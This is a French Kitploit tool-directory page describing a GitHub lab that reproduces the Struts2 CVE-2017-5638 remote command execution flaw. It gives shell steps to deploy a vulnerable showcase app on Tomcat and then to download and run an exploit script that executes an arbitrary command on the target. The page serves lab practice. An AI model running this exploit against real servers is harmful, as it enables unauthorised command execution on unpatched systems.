Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
test_struts2_vulnerability_CVE-2017-5638 — Tester la vulnérabilité struts2 CVE-2017-5638 sur Mac OS X | Kitploit
Outils/GitHubGitHub/sjitech/test_struts2_vulnerability_cve-2017-5638
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationLabs et Pratique
GitHubsjitech/test_struts2_vulnerability_cve-2017-5638

test_struts2_vulnerability_CVE-2017-5638

Tester la vulnérabilité struts2 CVE-2017-5638 sur Mac OS X

Voir le dépôt
1il y a 9 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

test_struts2_vulnerability_CVE-2017-5638_in_MAC_OS_X

test de la vulnérabilité struts2 CVE-2017-5638 sous Mac OS X

###télécharger l'application web de test et l'exécuter dans tomcat

root@kitploit:~
#install tomcat
brew install tomcat

#confirm where the tomcat installed
ls -lF `which catalina`

#confirm tomcat home dir
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec

#create web app "struts2" in webapps of tomcat home
mkdir /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#get web app deployment file
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/struts2_2.3.15.1-showcase.war

#expand deployment file into the web app dir
brew install p7zip
7z x struts2_2.3.15.1-showcase.war -o/usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#confirm web app files
ls -lF /usr/local/Cellar/tomcat/8.5.11/libexec/webapps/struts2

#run tomcat
catalina run

vérifiez l'application web en visitant http://localhost:8080/struts2

###depuis une autre machine, exécuter le script d'exploitation pour obtenir la possibilité d'exécuter n'importe quelle commande

root@kitploit:~
#get exploit tool script
wget https://github.com/nixawk/labs/raw/master/CVE-2017-5638/exploit-urllib2.py

#run exploit tool script
python exploit-urllib2.py http://192.168.11.5:8080/struts2/ "echo any command can be run > /tmp/yyy"

###revenir sur la machine web, vérifier que le fichier /tmp/yyy a été injecté

root@kitploit:~
cat /tmp/yyy

vidéo: https://youtu.be/iQ_f-eG-EXg

Télécharger l’outil